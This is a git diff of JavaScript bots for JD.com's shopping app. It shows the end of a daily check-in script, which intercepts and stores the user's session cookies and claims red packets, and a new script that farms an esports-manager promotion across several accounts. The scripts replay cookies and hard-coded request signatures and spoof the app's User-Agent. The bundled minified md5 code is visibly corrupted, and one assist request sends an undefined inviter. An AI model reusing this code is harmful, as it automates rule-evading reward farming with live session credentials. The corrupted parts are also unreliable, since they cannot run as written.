} else { + if (!cc.data) cc.data = {} + console.log(`\n京东商城-超市签到失败 ${Details}`) + const tp = cc.data.bizCode == 811 ? `已签过` : cc.data.bizCode == 300 ? `Cookie失效` : `${cc.data.bizMsg||`未知`}` + merge.JDGStore.notify = `京东商城-超市: 失败, 原因: ${tp}${cc.data.bizCode==300?`‼️`:` ⚠️`}` + merge.JDGStore.fail = 1 + } + } catch (eor) { + $nobyda.AnError("京东商城-超市", "JDGStore", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JDSecKilling(s) { //领券中心 + merge.JDSecKill = {}; + return new Promise((resolve, reject) => { + if (disable("JDSecKill")) return reject(); + setTimeout(() => { + $nobyda.post({ + url: 'https://api.m.jd.com/client.action', + headers: { + Cookie: KEY, + Origin: 'https://h5.m.jd.com' + }, + body: 'functionId=homePageV2&appid=SecKill2020' + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data); + if (cc.code == 203 || cc.code == 3 || cc.code == 101) { + merge.JDSecKill.notify = `京东秒杀-红包: 失败, 原因: Cookie失效‼️`; + } else if (cc.result && cc.result.projectId && cc.result.taskId) { + console.log(`\n京东秒杀-红包查询成功 ${Details}`) + return resolve({ + projectId: cc.result.projectId, + taskId: cc.result.taskId + }) + } else { + merge.JDSecKill.notify = `京东秒杀-红包: 失败, 暂无有效活动 ⚠️`; + } + merge.JDSecKill.fail = 1; + console.log(`\n京东秒杀-红包查询失败 ${Details}`) + reject() + } catch (eor) { + $nobyda.AnError("京东秒杀-查询", "JDSecKill", eor, response, data) + reject() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }).then(async (id) => { + await new Promise(resolve => { + $nobyda.post({ + url: 'https://api.m.jd.com/client.action', + headers: { + Cookie: KEY, + Origin: 'https://h5.m.jd.com' + }, + body: `functionId=doInteractiveAssignment&body=%7B%22encryptProjectId%22%3A%22${id.projectId}%22%2C%22encryptAssignmentId%22%3A%22${id.taskId}%22%2C%22completionFlag%22%3Atrue%7D&client=wh5&appid=SecKill2020` + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data); + if (cc.code == 0 && cc.subCode == 0) { + console.log(`\n京东秒杀-红包签到成功 ${Details}`); + const qt = data.match(/"discount":(\d.*?),/); + merge.JDSecKill.success = 1; + merge.JDSecKill.Cash = qt ? qt[1] : 0; + merge.JDSecKill.notify = `京东秒杀-红包: 成功, 明细: ${merge.JDSecKill.Cash||`无`}红包 🧧`; + } else { + console.log(`\n京东秒杀-红包签到失败 ${Details}`); + merge.JDSecKill.fail = 1; + merge.JDSecKill.notify = `京东秒杀-红包: 失败, ${cc.subCode==103?`原因: 已领取`:cc.msg?cc.msg:`原因: 未知`} ⚠️`; + } + } catch (eor) { + $nobyda.AnError("京东秒杀-领取", "JDSecKill", eor, response, data); + } finally { + resolve(); + } + }) + }) + }, () => {}); +} + +function TotalSteel() { + merge.TotalSteel = {}; + return new Promise(resolve => { + if (disable("TSteel")) return resolve() + $nobyda.get({ + url: 'https://coin.jd.com/m/gb/getBaseInfo.html', + headers: { + Cookie: KEY + } + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const Details = LogDetails ? "response:\n" + data : ''; + if (data.match(/(\"gbBalance\":\d+)/)) { + console.log("\n" + "京东-总钢镚查询成功 " + Details) + const cc = JSON.parse(data) + merge.TotalSteel.TSteel = cc.gbBalance + } else { + console.log("\n" + "京东-总钢镚查询失败 " + Details) + } + } catch (eor) { + $nobyda.AnError("账户钢镚-查询", "TotalSteel", eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out) + }); +} + +function TotalBean() { + merge.TotalBean = {}; + return new Promise(resolve => { + if (disable("Qbear")) return resolve() + $nobyda.get({ + url: 'https://me-api.jd.com/user_new/info/GetJDUserInfoUnion', + headers: { + Cookie: KEY + } + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (cc.msg == 'success' && cc.retcode == 0) { + merge.TotalBean.nickname = cc.data.userInfo.baseInfo.nickname || "" + merge.TotalBean.Qbear = cc.data.assetInfo.beanNum || 0 + $nobyda.headUrl = cc.data.userInfo.baseInfo.headImageUrl || "" + console.log(`\n京东-总京豆查询成功 ${Details}`) + } else { + const name = decodeURIComponent(KEY.split(/pt_pin=(.+?);/)[1] || ''); + merge.TotalBean.nickname = cc.retcode == 1001 ? `${name} (CK失效‼️)` : ""; + console.log(`\n京东-总京豆查询失败 ${Details}`) + } + } catch (eor) { + $nobyda.AnError("账户京豆-查询", "TotalBean", eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out) + }); +} + +function TotalCash() { + merge.TotalCash = {}; + return new Promise(resolve => { + if (disable("TCash")) return resolve() + $nobyda.post({ + url: 'https://api.m.jd.com/client.action?functionId=myhongbao_balance', + headers: { + Cookie: KEY + }, + body: "body=%7B%22fp%22%3A%22-1%22%2C%22appToken%22%3A%22apphongbao_token%22%2C%22childActivityUrl%22%3A%22-1%22%2C%22country%22%3A%22cn%22%2C%22openId%22%3A%22-1%22%2C%22childActivityId%22%3A%22-1%22%2C%22applicantErp%22%3A%22-1%22%2C%22platformId%22%3A%22appHongBao%22%2C%22isRvc%22%3A%22-1%22%2C%22orgType%22%3A%222%22%2C%22activityType%22%3A%221%22%2C%22shshshfpb%22%3A%22-1%22%2C%22platformToken%22%3A%22apphongbao_token%22%2C%22organization%22%3A%22JD%22%2C%22pageClickKey%22%3A%22-1%22%2C%22platform%22%3A%221%22%2C%22eid%22%3A%22-1%22%2C%22appId%22%3A%22appHongBao%22%2C%22childActiveName%22%3A%22-1%22%2C%22shshshfp%22%3A%22-1%22%2C%22jda%22%3A%22-1%22%2C%22extend%22%3A%22-1%22%2C%22shshshfpa%22%3A%22-1%22%2C%22activityArea%22%3A%22-1%22%2C%22childActivityTime%22%3A%22-1%22%7D&client=apple&clientVersion=8.5.0&d_brand=apple&networklibtype=JDNetworkBaseAF&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=fdc04c3ab0ee9148f947d24fb087b55d&st=1581245397648&sv=120" + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const Details = LogDetails ? "response:\n" + data : ''; + if (data.match(/(\"totalBalance\":\d+)/)) { + console.log("\n" + "京东-总红包查询成功 " + Details) + const cc = JSON.parse(data) + merge.TotalCash.TCash = cc.totalBalance + } else { + console.log("\n" + "京东-总红包查询失败 " + Details) + } + } catch (eor) { + $nobyda.AnError("账户红包-查询", "TotalCash", eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out) + }); +} + +function TotalSubsidy() { + merge.TotalSubsidy = {}; + return new Promise(resolve => { + if (disable("TotalSubsidy")) return resolve() + $nobyda.get({ + url: 'https://ms.jr.jd.com/gw/generic/uc/h5/m/mySubsidyBalance', + headers: { + Cookie: KEY, + Referer: 'https://active.jd.com/forever/cashback/index?channellv=wojingqb' + } + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.resultCode == 0 && cc.resultData && cc.resultData.data) { + console.log("\n京东-总金贴查询成功 " + Details) + merge.TotalSubsidy.TSubsidy = cc.resultData.data.balance || 0 + } else { + console.log("\n京东-总金贴查询失败 " + Details) + } + } catch (eor) { + $nobyda.AnError("账户金贴-查询", "TotalSubsidy", eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out) + }); +} + +function TotalMoney() { + merge.TotalMoney = {}; + return new Promise(resolve => { + if (disable("TotalMoney")) return resolve() + $nobyda.get({ + url: 'https://api.m.jd.com/client.action?functionId=cash_exchangePage&body=%7B%7D&build=167398&client=apple&clientVersion=9.1.9&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=762a8e894dea8cbfd91cce4dd5714bc5&st=1602179446935&sv=102', + headers: { + Cookie: KEY + } + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.code == 0 && cc.data && cc.data.bizCode == 0 && cc.data.result) { + console.log("\n京东-总现金查询成功 " + Details) + merge.TotalMoney.TMoney = cc.data.result.totalMoney || 0 + } else { + console.log("\n京东-总现金查询失败 " + Details) + } + } catch (eor) { + $nobyda.AnError("账户现金-查询", "TotalMoney", eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out) + }); +} + +function disable(Val, name, way) { + const read = $nobyda.read("JD_DailyBonusDisables") + const annal = $nobyda.read("JD_Crash_" + Val) + if (annal && way == 1 && boxdis) { + var Crash = $nobyda.write("", "JD_Crash_" + Val) + if (read) { + if (read.indexOf(Val) == -1) { + var Crash = $nobyda.write(`${read},${Val}`, "JD_DailyBonusDisables") + console.log(`\n${name}-触发自动禁用 ‼️`) + merge[Val].notify = `${name}: 崩溃, 触发自动禁用 ‼️` + merge[Val].error = 1 + $nobyda.disable = 1 + } + } else { + var Crash = $nobyda.write(Val, "JD_DailyBonusDisables") + console.log(`\n${name}-触发自动禁用 ‼️`) + merge[Val].notify = `${name}: 崩溃, 触发自动禁用 ‼️` + merge[Val].error = 1 + $nobyda.disable = 1 + } + return true + } else if (way == 1 && boxdis) { + var Crash = $nobyda.write(name, "JD_Crash_" + Val) + } else if (way == 2 && annal) { + var Crash = $nobyda.write("", "JD_Crash_" + Val) + } + if (read && read.indexOf(Val) != -1) { + return true + } else { + return false + } +} + +function Wait(readDelay, ini) { + if (!readDelay || readDelay === '0') return 0 + if (typeof(readDelay) == 'string') { + var readDelay = readDelay.replace(/"|"|'|'/g, ''); //prevent novice + if (readDelay.indexOf('-') == -1) return parseInt(readDelay) || 0; + const raw = readDelay.split("-").map(Number); + const plan = parseInt(Math.random() * (raw[1] - raw[0] + 1) + raw[0], 10); + if (ini) console.log(`\n初始化随机延迟: 最小${raw[0]/1000}秒, 最大${raw[1]/1000}秒`); + // else console.log(`\n预计等待: ${(plan / 1000).toFixed(2)}秒`); + return ini ? readDelay : plan + } else if (typeof(readDelay) == 'number') { + return readDelay > 0 ? readDelay : 0 + } else return 0 +} + +function CookieMove(oldCk1, oldCk2, oldKey1, oldKey2, newKey) { + let update; + const move = (ck, del) => { + console.log(`京东${del}开始迁移!`); + update = CookieUpdate(null, ck).total; + update = $nobyda.write(JSON.stringify(update, null, 2), newKey); + update = $nobyda.write("", del); + } + if (oldCk1) { + const write = move(oldCk1, oldKey1); + } + if (oldCk2) { + const write = move(oldCk2, oldKey2); + } +} + +function checkFormat(value) { //check format and delete duplicates + let n, k, c = {}; + return value.reduce((t, i) => { + k = ((i.cookie || '').match(/(pt_key|pt_pin)=.+?;/g) || []).sort(); + if (k.length == 2) { + if ((n = k[1]) && !c[n]) { + i.userName = i.userName ? i.userName : decodeURIComponent(n.split(/pt_pin=(.+?);/)[1]); + i.cookie = k.join('') + if (i.jrBody && !i.jrBody.includes('reqData=')) { + console.log(`异常钢镚Body已过滤: ${i.jrBody}`) + delete i.jrBody; + } + c[n] = t.push(i); + } + } else { + console.log(`异常京东Cookie已过滤: ${i.cookie}`) + } + return t; + }, []) +} + +function CookieUpdate(oldValue, newValue, path = 'cookie') { + let item, type, name = (oldValue || newValue || '').split(/pt_pin=(.+?);/)[1]; + let total = $nobyda.read('CookiesJD'); + try { + total = checkFormat(JSON.parse(total || '[]')); + } catch (e) { + $nobyda.notify("京东签到", "", "Cookie JSON格式不正确, 即将清空\n可前往日志查看该数据内容!"); + console.log(`京东签到Cookie JSON格式异常: ${e.message||e}\n旧数据内容: ${total}`); + total = []; + } + for (let i = 0; i < total.length; i++) { + if (total[i].cookie && new RegExp(`pt_pin=${name};`).test(total[i].cookie)) { + item = i; + break; + } + } + if (newValue && item !== undefined) { + type = total[item][path] === newValue ? -1 : 2; + total[item][path] = newValue; + item = item + 1; + } else if (newValue && path === 'cookie') { + total.push({ + cookie: newValue + }); + type = 1; + item = total.length; + } + return { + total: checkFormat(total), + type, //-1: same, 1: add, 2:update + item, + name: decodeURIComponent(name) + }; +} + +function GetCookie() { + const req = $request; + if (req.method != 'OPTIONS' && req.headers) { + const CV = (req.headers['Cookie'] || req.headers['cookie'] || ''); + const ckItems = CV.match(/(pt_key|pt_pin)=.+?;/g); + if (/^https:\/\/(me-|)api(\.m|)\.jd\.com\/(client\.|user_new)/.test(req.url)) { + if (ckItems && ckItems.length == 2) { + const value = CookieUpdate(null, ckItems.join('')) + if (value.type !== -1) { + const write = $nobyda.write(JSON.stringify(value.total, null, 2), "CookiesJD") + $nobyda.notify(`用户名: ${value.name}`, ``, `${value.type==2?`更新`:`写入`}京东 [账号${value.item}] Cookie${write?`成功 🎉`:`失败 ‼️`}`) + } else { + console.log(`\n用户名: ${value.name}\n与历史京东 [账号${value.item}] Cookie相同, 跳过写入 ⚠️`) + } + } else { + throw new Error("写入Cookie失败, 关键值缺失\n可能原因: 非网页获取 ‼️"); + } + } else if (/^https:\/\/ms\.jr\.jd\.com\/gw\/generic\/hy\/h5\/m\/appSign\?/.test(req.url) && req.body) { + const value = CookieUpdate(CV, req.body, 'jrBody'); + if (value.type) { + const write = $nobyda.write(JSON.stringify(value.total, null, 2), "CookiesJD") + $nobyda.notify(`用户名: ${value.name}`, ``, `获取京东 [账号${value.item}] 钢镚Body${write?`成功 🎉`:`失败 ‼️`}`) + } else { + throw new Error("写入钢镚Body失败\n未获取该账号Cookie或关键值缺失‼️"); + } + } else if (req.url === 'http://www.apple.com/') { + throw new Error("类型错误, 手动运行请选择上下文环境为Cron ⚠️"); + } + } else if (!req.headers) { + throw new Error("写入Cookie失败, 请检查匹配URL或配置内脚本类型 ⚠️"); + } +} + +// Modified from yichahucha +function nobyda() { + const start = Date.now() + const isRequest = typeof $request != "undefined" + const isSurge = typeof $httpClient != "undefined" + const isQuanX = typeof $task != "undefined" + const isLoon = typeof $loon != "undefined" + const isJSBox = typeof $app != "undefined" && typeof $http != "undefined" + const isNode = typeof require == "function" && !isJSBox; + const NodeSet = 'CookieSet.json' + const node = (() => { + if (isNode) { + const request = require('request'); + const fs = require("fs"); + const path = require("path"); + return ({ + request, + fs, + path + }) + } else { + return (null) + } + })() + const notify = (title, subtitle, message, rawopts) => { + const Opts = (rawopts) => { //Modified from https://github.com/chavyleung/scripts/blob/master/Env.js + if (!rawopts) return rawopts + if (typeof rawopts === 'string') { + if (isLoon) return rawopts + else if (isQuanX) return { + 'open-url': rawopts + } + else if (isSurge) return { + url: rawopts + } + else return undefined + } else if (typeof rawopts === 'object') { + if (isLoon) { + let openUrl = rawopts.openUrl || rawopts.url || rawopts['open-url'] + let mediaUrl = rawopts.mediaUrl || rawopts['media-url'] + return { + openUrl, + mediaUrl + } + } else if (isQuanX) { + let openUrl = rawopts['open-url'] || rawopts.url || rawopts.openUrl + let mediaUrl = rawopts['media-url'] || rawopts.mediaUrl + return { + 'open-url': openUrl, + 'media-url': mediaUrl + } + } else if (isSurge) { + let openUrl = rawopts.url || rawopts.openUrl || rawopts['open-url'] + return { + url: openUrl + } + } + } else { + return undefined + } + } + console.log(`${title}\n${subtitle}\n${message}`) + if (isQuanX) $notify(title, subtitle, message, Opts(rawopts)) + if (isSurge) $notification.post(title, subtitle, message, Opts(rawopts)) + if (isJSBox) $push.schedule({ + title: title, + body: subtitle ? subtitle + "\n" + message : message + }) + } + const write = (value, key) => { + if (isQuanX) return $prefs.setValueForKey(value, key) + if (isSurge) return $persistentStore.write(value, key) + if (isNode) { + try { + if (!node.fs.existsSync(node.path.resolve(__dirname, NodeSet))) + node.fs.writeFileSync(node.path.resolve(__dirname, NodeSet), JSON.stringify({})); + const dataValue = JSON.parse(node.fs.readFileSync(node.path.resolve(__dirname, NodeSet))); + if (value) dataValue[key] = value; + if (!value) delete dataValue[key]; + return node.fs.writeFileSync(node.path.resolve(__dirname, NodeSet), JSON.stringify(dataValue)); + } catch (er) { + return AnError('Node.js持久化写入', null, er); + } + } + if (isJSBox) { + if (!value) return $file.delete(`shared://${key}.txt`); + return $file.write({ + data: $data({ + string: value + }), + path: `shared://${key}.txt` + }) + } + } + const read = (key) => { + if (isQuanX) return $prefs.valueForKey(key) + if (isSurge) return $persistentStore.read(key) + if (isNode) { + try { + if (!node.fs.existsSync(node.path.resolve(__dirname, NodeSet))) return null; + const dataValue = JSON.parse(node.fs.readFileSync(node.path.resolve(__dirname, NodeSet))) + return dataValue[key] + } catch (er) { + return AnError('Node.js持久化读取', null, er) + } + } + if (isJSBox) { + if (!$file.exists(`shared://${key}.txt`)) return null; + return $file.read(`shared://${key}.txt`).string + } + } + const adapterStatus = (response) => { + if (response) { + if (response.status) { + response["statusCode"] = response.status + } else if (response.statusCode) { + response["status"] = response.statusCode + } + } + return response + } + const get = (options, callback) => { + options.headers['User-Agent'] = 'JD4iPhone/167169 (iPhone; iOS 13.4.1; Scale/3.00)' + if (isQuanX) { + if (typeof options == "string") options = { + url: options + } + options["method"] = "GET" + //options["opts"] = { + // "hints": false + //} + $task.fetch(options).then(response => { + callback(null, adapterStatus(response), response.body) + }, reason => callback(reason.error, null, null)) + } + if (isSurge) { + options.headers['X-Surge-Skip-Scripting'] = false + $httpClient.get(options, (error, response, body) => { + callback(error, adapterStatus(response), body) + }) + } + if (isNode) { + node.request(options, (error, response, body) => { + callback(error, adapterStatus(response), body) + }) + } + if (isJSBox) { + if (typeof options == "string") options = { + url: options + } + options["header"] = options["headers"] + options["handler"] = function(resp) { + let error = resp.error; + if (error) error = JSON.stringify(resp.error) + let body = resp.data; + if (typeof body == "object") body = JSON.stringify(resp.data); + callback(error, adapterStatus(resp.response), body) + }; + $http.get(options); + } + } + const post = (options, callback) => { + options.headers['User-Agent'] = 'JD4iPhone/167169 (iPhone; iOS 13.4.1; Scale/3.00)' + if (options.body) options.headers['Content-Type'] = 'application/x-www-form-urlencoded' + if (isQuanX) { + if (typeof options == "string") options = { + url: options + } + options["method"] = "POST" + //options["opts"] = { + // "hints": false + //} + $task.fetch(options).then(response => { + callback(null, adapterStatus(response), response.body) + }, reason => callback(reason.error, null, null)) + } + if (isSurge) { + options.headers['X-Surge-Skip-Scripting'] = false + $httpClient.post(options, (error, response, body) => { + callback(error, adapterStatus(response), body) + }) + } + if (isNode) { + node.request.post(options, (error, response, body) => { + callback(error, adapterStatus(response), body) + }) + } + if (isJSBox) { + if (typeof options == "string") options = { + url: options + } + options["header"] = options["headers"] + options["handler"] = function(resp) { + let error = resp.error; + if (error) error = JSON.stringify(resp.error) + let body = resp.data; + if (typeof body == "object") body = JSON.stringify(resp.data) + callback(error, adapterStatus(resp.response), body) + } + $http.post(options); + } + } + const AnError = (name, keyname, er, resp, body) => { + if (typeof(merge) != "undefined" && keyname) { + if (!merge[keyname].notify) { + merge[keyname].notify = `${name}: 异常, 已输出日志 ‼️` + } else { + merge[keyname].notify += `\n${name}: 异常, 已输出日志 ‼️ (2)` + } + merge[keyname].error = 1 + } + return console.log(`\n‼️${name}发生错误\n‼️名称: ${er.name}\n‼️描述: ${er.message}${JSON.stringify(er).match(/\"line\"/)?`\n‼️行列: ${JSON.stringify(er)}`:``}${resp&&resp.status?`\n‼️状态: ${resp.status}`:``}${body?`\n‼️响应: ${resp&&resp.status!=503?body:`Omit.`}`:``}`) + } + const time = () => { + const end = ((Date.now() - start) / 1000).toFixed(2) + return console.log('\n签到用时: ' + end + ' 秒') + } + const done = (value = {}) => { + if (isQuanX) return $done(value) + if (isSurge) isRequest ? $done(value) : $done() + } + return { + AnError, + isRequest, + isJSBox, + isSurge, + isQuanX, + isLoon, + isNode, + notify, + write, + read, + get, + post, + time, + done + } +}; +// md5 +!function(n){function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255)}return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1){u[r]=909522486^o[r],c[r]=1549556828^o[r]}return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t)}return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}md5=A}(this); diff --git a/jd_EsportsManager.js b/jd_EsportsManager.js new file mode 100644 index 0000000..08ee946 --- /dev/null +++ b/jd_EsportsManager.js @@ -0,0 +1,490 @@ +/** + 东东电竞经理:脚本更新地址 jd_EsportsManager.js + 更新时间:2021-06-20 + 活动入口:京东APP-东东农场-风车-电竞经理 + 活动链接:https://xinruidddj-isv.isvjcloud.com + [Script] + cron "20 0-23/2 * * *" script-path=jd_EsportsManager.js,tag=东东电竞经理 + 按顺序给第(Math.floor((index - 1) / 6) + 1)个账号助力 + 可能有BUG,但不会给别人号助力 + */ + +const $ = new Env('东东电竞经理'); +let cookiesArr = [], cookie = '', isBox = false, notify, newShareCodes, allMessage = ''; +let tasks = [], shareCodes = [], first = true; + +!(async () => { + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.shareCode = await makeShareCode(); + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + message = ''; + subTitle = ''; + option = {}; + await getIsvToken(); + await getIsvToken2(); + await getToken(); + + let r = await get_produce_coins(); + if (r !== 200) + continue + + await $.wait(2000); + await main(); + await $.wait(3000) + } + } + if ($.isNode() && allMessage && $.ctrTemp) { + await notify.sendNotify(`${$.name}`, `${allMessage}`) + } +})() + +async function main() { + tasks = await detail(); + for (let i = 0; i < tasks.length; i++) { + let product_info_vos = [] + let task_vos = tasks[i] + switch (task_vos.task_name) { + case '连签得金币': + if (task_vos.status === '1') + await do_task(task_vos.simple_record_info_vo.task_token, task_vos.task_id, task_vos.task_type) + continue + case '邀请好友助力': + await getShareCode(task_vos.assist_task_detail_vo.task_token) + await $.wait(2000) + + await getAssist() + await $.wait(2000) + + console.log(`第${$.index}个账号${$.UserName}去助力第${Math.floor(($.index - 1) / 6) + 1}个账号。`) + await doAssist() + continue + case '去浏览精彩会场': case '去关注特色频道' : + product_info_vos = task_vos['shopping_activity_vos'] + break + case '去关注优质好店': + product_info_vos = task_vos['follow_shop_vo'] + break + default: + "" + } + let taskId = task_vos.task_id, taskType = task_vos.task_type; + for (let t of product_info_vos) { + if (t.status === '1') { + console.log(`开始任务:${task_vos.task_name}`) + let res = await do_task(t.task_token, taskId, taskType) + await $.wait(1000) + } + } + } +} + +function getShareCode(token) { + return new Promise(resolve => { + $.get({ + url: 'https://xinruidddj-isv.isvjcloud.com/api/uc/user', + headers: { + 'Host': 'xinruidddj-isv.isvjcloud.com', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Accept': 'application/json, text/plain, */*', + 'Authorization': `Bearer ${$.token}`, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + } + }, (err, resp, data) => { + try { + data = $.toObj(data) + shareCodes.push({ + 'tid': token, + 'uid': data.body.openid + }) + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${shareCodes[$.index - 1].uid}\n`); + + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function doAssist() { + return new Promise(resolve => { + $.post({ + url: 'https://xinruidddj-isv.isvjcloud.com/api/task/do_assist_task', + headers: { + 'Host': 'xinruidddj-isv.isvjcloud.com', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Accept': 'application/json, text/plain, */*', + 'Authorization': `Bearer ${$.token}`, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + }, + body: `token=${shareCodes[Math.floor(($.index - 1) / 6)].tid}&inviter=${Math.floor(($.index - 1) / 6).uid}` + }, (err, resp, data) => { + try { + data = $.toObj(data) + if (data.status === '0') { + console.log('助力成功') + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getAssist() { + return new Promise(resolve => { + $.get({ + url: 'https://xinruidddj-isv.isvjcloud.com/api/task/today_assist?task_id=2&need_num=10', + headers: { + 'Host': 'xinruidddj-isv.isvjcloud.com', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Accept': 'application/json, text/plain, */*', + 'Authorization': `Bearer ${$.token}`, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + } + }, (err, resp, data) => { + try { + data = $.toObj(data) + console.log(`今日共收到${data.body.length}个助力`) + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getIsvToken() { + let config = { + url: 'https://api.m.jd.com/client.action?functionId=genToken&clientVersion=10.0.2&client=android&uuid=818aa057737ba6a4&st=1623934987178&sign=0877498be29cda51b9628fa0195f412f&sv=111', + body: `body=${escape('{"action":"to","to":"https%3A%2F%2Fh5.m.jd.com%2FbabelDiy%2FZeus%2F3KSjXqQabiTuD1cJ28QskrpWoBKT%2Findex.html%3FbabelChannel%3D45%26collectionId%3D519"}')}`, + headers: { + 'Host': 'api.m.jd.com', + 'charset': 'UTF-8', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'cache-control': 'no-cache', + 'content-type': 'application/x-www-form-urlencoded; charset=UTF-8', + 'cookie': cookie + } + } + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`); + console.log(`${JSON.stringify(err)}`) + } else { + data = JSON.parse(data); + $.isvToken = data['tokenKey']; + console.log(`isvToken:${$.isvToken}`); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getIsvToken2() { + let config = { + url: 'https://api.m.jd.com/client.action?functionId=isvObfuscator&clientVersion=10.0.2&client=android&uuid=818aa057737ba6a4&st=1623934998790&sign=e571148c8dfb456a1795d249c6aa3956&sv=100', + body: `body=${escape('{"id":"","url":"https://xinruidddj-isv.isvjcloud.com"}')}`, + headers: { + 'Host': 'api.m.jd.com', + 'charset': 'UTF-8', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'cache-control': 'no-cache', + 'content-type': 